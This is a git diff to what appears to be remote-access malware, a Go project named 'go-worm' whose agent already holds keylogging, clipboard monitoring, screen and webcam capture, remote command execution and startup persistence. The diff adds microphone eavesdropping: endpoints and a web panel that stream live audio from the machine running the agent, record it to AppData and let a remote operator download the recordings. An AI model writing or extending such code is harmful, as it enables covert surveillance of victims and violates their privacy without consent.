diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 32161bf..3d4ebbc 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -19,6 +19,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/instance" "tea.chunkbyte.com/kato/go-worm/lib/keylog" + "tea.chunkbyte.com/kato/go-worm/lib/mic" ) type Agent struct { @@ -75,6 +76,7 @@ func (a *Agent) Close() { clipmon.Stop() keylog.Stop() capture.Stop() + mic.Stop() if a.guard != nil { a.guard.Close() } @@ -95,6 +97,11 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) mux.HandleFunc("/api/v1/webcam", a.handleWebcam) mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame) + mux.HandleFunc("/api/v1/mic", a.handleMic) + mux.HandleFunc("/api/v1/mic/chunk", a.handleMicChunk) + mux.HandleFunc("/api/v1/mic/record", a.handleMicRecord) + mux.HandleFunc("/api/v1/mic/recordings", a.handleMicRecordings) + mux.HandleFunc("/api/v1/mic/download", a.handleMicDownload) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/watchdog", a.handleWatchdog) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 7590632..c4b2c17 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -21,6 +21,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/keylog" + "tea.chunkbyte.com/kato/go-worm/lib/mic" "tea.chunkbyte.com/kato/go-worm/lib/models" "tea.chunkbyte.com/kato/go-worm/lib/openapi" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" @@ -411,6 +412,166 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { _, _ = w.Write(frame.Data) } +func parseMicDevice(r *http.Request) (int, error) { + device := 0 + if raw := r.URL.Query().Get("device"); raw != "" { + var err error + device, err = strconv.Atoi(raw) + if err != nil || device < 0 { + return 0, errors.New("device must be 0 or greater") + } + } + return device, nil +} + +func (a *Agent) handleMic(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodGet: + devices, err := mic.List() + if err != nil { + helpers.Log.Printf("mic list: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, err.Error()) + return + } + if devices == nil { + devices = []mic.Device{} + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices}) + case http.MethodDelete: + mic.Stop() + w.WriteHeader(http.StatusNoContent) + default: + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + } +} + +func (a *Agent) handleMicChunk(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + device, err := parseMicDevice(r) + if err != nil { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + data, err := mic.Chunk(device) + if errors.Is(err, mic.ErrNoAudio) { + w.WriteHeader(http.StatusNoContent) + return + } + if errors.Is(err, mic.ErrDeviceNotFound) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + if err != nil { + helpers.Log.Printf("mic chunk: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, err.Error()) + return + } + w.Header().Set("Content-Type", "audio/wav") + w.Header().Set("Content-Length", strconv.Itoa(len(data))) + _, _ = w.Write(data) +} + +func (a *Agent) handleMicRecord(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodPost: + device, err := parseMicDevice(r) + if err != nil { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + name, err := mic.StartRecord(device) + if errors.Is(err, mic.ErrAlreadyRecording) { + helpers.WriteError(w, http.StatusConflict, err.Error()) + return + } + if errors.Is(err, mic.ErrDeviceNotFound) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + if err != nil { + helpers.Log.Printf("mic record start: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, err.Error()) + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "recording": true}) + case http.MethodDelete: + name, size, err := mic.StopRecord() + if errors.Is(err, mic.ErrNotRecording) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + if err != nil { + helpers.Log.Printf("mic record stop: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, err.Error()) + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"file": name, "size": size, "recording": false}) + default: + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + } +} + +func (a *Agent) handleMicRecordings(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + files, err := mic.ListRecordings() + if err != nil { + helpers.Log.Printf("mic recordings list: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not list recordings") + return + } + dir, err := mic.Dir() + if err != nil { + helpers.Log.Printf("mic dir: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not resolve mic directory") + return + } + if files == nil { + files = []mic.FileInfo{} + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files, "recording": mic.Recording()}) +} + +func (a *Agent) handleMicDownload(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + name := r.URL.Query().Get("file") + if name == "" { + helpers.WriteError(w, http.StatusBadRequest, "file is required") + return + } + if !mic.ValidRecordingFilename(name) { + helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name") + return + } + file, info, err := mic.OpenRecording(name) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + helpers.WriteError(w, http.StatusNotFound, "recording not found") + return + } + if errors.Is(err, os.ErrInvalid) { + helpers.WriteError(w, http.StatusBadRequest, "invalid recording file name") + return + } + helpers.Log.Printf("mic download: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not open recording") + return + } + defer file.Close() + w.Header().Set("Content-Type", "audio/wav") + w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`) + w.Header().Set("Accept-Ranges", "bytes") + http.ServeContent(w, r, info.Name(), info.ModTime(), file) +} + func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodGet { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 137bb8e..58ba618 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -32,11 +32,23 @@ const webcamDevice = document.getElementById("webcam-device"); const webcamStart = document.getElementById("webcam-start"); const webcamStop = document.getElementById("webcam-stop"); + const micMeta = document.getElementById("mic-meta"); + const micDevice = document.getElementById("mic-device"); + const micRows = document.getElementById("mic-rows"); + const micListen = document.getElementById("mic-listen"); + const micListenStop = document.getElementById("mic-listen-stop"); + const micRecord = document.getElementById("mic-record"); + const micRecordStop = document.getElementById("mic-record-stop"); let objectUrls = []; let videoRunning = false; let videoTabActive = false; let webcamRunning = false; + let micListening = false; + let micRecording = false; + let micTabActive = false; + let micAudioCtx = null; + let nextPlayTime = 0; let selectedLogName = ""; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; let currentListen = ""; @@ -64,6 +76,18 @@ return res; } + async function apiNoContent(url, options) { + showError(""); + const res = await fetch(url, options); + if (res.status === 204) { + return res; + } + if (!res.ok) { + throw new Error(await readError(res)); + } + return res; + } + function formatBytes(n) { if (n < 1024) return `${n} B`; const units = ["KB", "MB", "GB", "TB"]; @@ -467,6 +491,174 @@ webcamStop.disabled = true; } + function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); + } + + function setMicControls() { + micListen.disabled = micListening; + micListenStop.disabled = !micListening; + micRecord.disabled = micRecording; + micRecordStop.disabled = !micRecording; + } + + async function refreshMics() { + const res = await api("/api/v1/mic"); + const data = await res.json(); + const devices = data.devices || []; + const prev = micDevice.value; + micDevice.replaceChildren(); + if (!devices.length) { + const opt = document.createElement("option"); + opt.value = ""; + opt.textContent = "No microphones found"; + micDevice.append(opt); + micMeta.textContent = "No capture devices"; + return; + } + for (const dev of devices) { + const opt = document.createElement("option"); + opt.value = String(dev.index); + opt.textContent = `${dev.index}: ${dev.name}`; + micDevice.append(opt); + } + if ([...micDevice.options].some((o) => o.value === prev)) { + micDevice.value = prev; + } + micMeta.textContent = `${devices.length} device(s)`; + } + + async function pullMicChunk() { + const device = micDevice.value; + if (device === "") throw new Error("no microphone selected"); + const res = await fetch(`/api/v1/mic/chunk?device=${encodeURIComponent(device)}`); + if (res.status === 204) return; + if (!res.ok) throw new Error(await readError(res)); + const buf = await res.arrayBuffer(); + if (!buf.byteLength) return; + if (!micAudioCtx) { + micAudioCtx = new AudioContext(); + } + if (micAudioCtx.state === "suspended") { + await micAudioCtx.resume(); + } + let audioBuf; + try { + audioBuf = await micAudioCtx.decodeAudioData(buf.slice(0)); + } catch { + return; + } + const src = micAudioCtx.createBufferSource(); + src.buffer = audioBuf; + src.connect(micAudioCtx.destination); + const now = micAudioCtx.currentTime; + const start = Math.max(now, nextPlayTime); + src.start(start); + nextPlayTime = start + audioBuf.duration; + } + + async function runMicListen() { + if (micListening) return; + micListening = true; + nextPlayTime = 0; + setMicControls(); + while (micListening) { + try { + await pullMicChunk(); + } catch (err) { + if (micListening) { + showError(err.message); + await sleep(500); + } + continue; + } + await sleep(50); + } + micListening = false; + setMicControls(); + } + + function stopMicListen() { + micListening = false; + setMicControls(); + } + + async function startMicRecording() { + const device = micDevice.value; + if (device === "") throw new Error("no microphone selected"); + const res = await api(`/api/v1/mic/record?device=${encodeURIComponent(device)}`, { method: "POST" }); + const data = await res.json(); + micRecording = true; + setMicControls(); + micMeta.textContent = `Recording ${data.file}`; + } + + async function stopMicRecording() { + const res = await api("/api/v1/mic/record", { method: "DELETE" }); + const data = await res.json(); + micRecording = false; + setMicControls(); + micMeta.textContent = `Saved ${data.file} · ${formatBytes(data.size || 0)}`; + await listMicRecordings(); + } + + async function stopMicSession() { + stopMicListen(); + if (micRecording) { + try { + await stopMicRecording(); + } catch { + micRecording = false; + setMicControls(); + } + } + try { + await apiNoContent("/api/v1/mic", { method: "DELETE" }); + } catch { + // ignore + } + } + + function downloadMicRecording(name) { + const link = document.createElement("a"); + link.href = `/api/v1/mic/download?file=${encodeURIComponent(name)}`; + link.download = name; + document.body.append(link); + link.click(); + link.remove(); + } + + async function listMicRecordings() { + const res = await api("/api/v1/mic/recordings"); + const data = await res.json(); + const files = data.files || []; + micRecording = Boolean(data.recording); + setMicControls(); + const dir = data.directory || ""; + micMeta.textContent = micRecording + ? `Recording in progress · ${files.length} saved · ${dir}` + : `${files.length} recording(s) · ${dir}`; + micRows.replaceChildren(); + for (const file of files) { + const tr = document.createElement("tr"); + const name = document.createElement("td"); + name.textContent = file.name; + const size = document.createElement("td"); + size.textContent = formatBytes(file.size || 0); + const modified = document.createElement("td"); + modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : ""; + const actions = document.createElement("td"); + actions.className = "actions"; + const btn = document.createElement("button"); + btn.type = "button"; + btn.textContent = "Download"; + btn.addEventListener("click", () => downloadMicRecording(file.name)); + actions.append(btn); + tr.append(name, size, modified, actions); + micRows.append(tr); + } + } + async function pullVideoFrame() { const quality = clamp(document.getElementById("video-quality").value, 1, 100); const monitor = clamp(document.getElementById("video-monitor").value, 0, 64); @@ -731,6 +923,15 @@ if (!onVideo) { stopVideo(); } + const onMic = button.dataset.tab === "mic"; + if (micTabActive && !onMic) { + stopMicSession().catch((err) => showError(err.message)); + } + micTabActive = onMic; + if (onMic) { + refreshMics().catch((err) => showError(err.message)); + listMicRecordings().catch((err) => showError(err.message)); + } if (button.dataset.tab === "logs") { listKeylogs().catch((err) => showError(err.message)); } @@ -799,6 +1000,26 @@ document.getElementById("webcam-snap").addEventListener("click", () => { pullWebcamFrame().catch((err) => showError(err.message)); }); + document.getElementById("mic-refresh").addEventListener("click", () => { + refreshMics().catch((err) => showError(err.message)); + }); + micListen.addEventListener("click", () => { + runMicListen().catch((err) => showError(err.message)); + }); + micListenStop.addEventListener("click", () => { + stopMicListen(); + }); + micRecord.addEventListener("click", () => { + startMicRecording().catch((err) => showError(err.message)); + }); + micRecordStop.addEventListener("click", () => { + stopMicRecording().catch((err) => showError(err.message)); + }); + micDevice.addEventListener("change", () => { + if (micListening || micRecording) { + stopMicSession().catch((err) => showError(err.message)); + } + }); videoCanvas.addEventListener("click", (event) => { sendClick(event, "left").catch((err) => showError(err.message)); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 54f7c32..359d6d5 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -735,6 +735,7 @@ + @@ -887,6 +888,36 @@
+Listen live or record to AppData. Listen and record share one capture session.
+| Recording | Size | Modified |
|---|